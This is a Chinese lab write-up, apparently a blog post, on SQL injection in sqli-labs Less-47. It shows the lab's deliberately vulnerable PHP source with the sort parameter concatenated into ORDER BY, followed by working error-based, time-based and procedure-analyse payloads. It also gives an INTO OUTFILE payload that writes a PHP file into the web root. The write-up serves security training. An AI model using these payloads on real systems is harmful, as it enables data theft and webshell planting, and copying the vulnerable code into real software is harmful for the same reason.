sqli-labs————Less-47(procedure alalyse\lines terminated by利用)

Less-47

源代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause-Error-Single quote</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
include("../sql-connections/sql-connect.php");
$id=$_GET['sort'];	
if(isset($id))
	{
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'SORT:'.$id."\n");
	fclose($fp);

	$sql = "SELECT * FROM users ORDER BY '$id'";
	$result = mysql_query($sql);
	if ($result)
		{
		?>
		<center>
		<font color= "#00FF00" size="4">
		
		<table   border=1'>
		<tr>
			<th> ID </th>
			<th> USERNAME   </th>
			<th> PASSWORD   </th>
		</tr>
		</font>
		</font>
		<?php
		while ($row = mysql_fetch_assoc($result))
			{
			echo '<font color= "#00FF11" size="3">';		
			echo "<tr>";
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			echo "</tr>";
			echo "</font>";
			}	
		echo "</table>";
		
		}
	else
		{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
		}
	}	
	else
	{
		echo "Please input parameter as SORT with numeric value<br><br><br><br>";
		echo "<br><br><br>";
		echo '<img src="../images/Less-47.jpg" /><br>';
		echo "Lesson Concept and code Idea by <b>D4rk</b>";
	}
?>
				
</font> </div></br></br></br>

</center> 
</body>
</html>

SQL执行语句:

	$sql = "SELECT * FROM users ORDER BY '$id'";

与上一关不同的是这里的id变为了字符型,但是我们还是可以进行注入,按照注入的位置分类如下:

1、order by 后参数

我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。

① and rand相结合的方式
payload:

http://192.168.11.136/sqli-labs/Less-47?sort=1'and rand(ascii(left(database(),1))=115)--+


换成116之后:

http://192.168.11.136/sqli-labs/Less-47?sort=1'and rand(ascii(left(database(),1))=116)--+


此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。

②可以利用报错的方式进行

http://192.168.11.136/sqli-labs/Less-47?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

可以看到user()的内容,同时可以构造其他的语句进行注入。

这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。

http://192.168.11.136/sqli-labs/Less-47?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+


此处爆出了version()即版本号信息。

③延时注入

http://192.168.11.136/sqli-labs/Less-47?sort=1'and If(ascii(substr(database(),1,1))=115,0,sleep(5))--+


这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。

(2)procedure analyse参数后注入

利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

以下为示范例

http://192.168.11.136/sqli-labs/Less-47?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+


2、导入导出文件into outfile参数
http://192.168.11.136/sqli-labs/Less-47?sort=1'into outfile 'C:\\phpstudy\\WWW\\sqli-labs\\Less-47\\test.php'--+



那这个时候我们可以考虑上传网马,利用lines terminated by。

http://192.168.11.136/sqli-labs/Less-47?sort=1'into outfile 'C:\\phpstudy\\WWW\\sqli-labs\\Less-47\\test1.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+


此处的16进制文件为<?php phpinfo();?>

我们访问test1.php


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值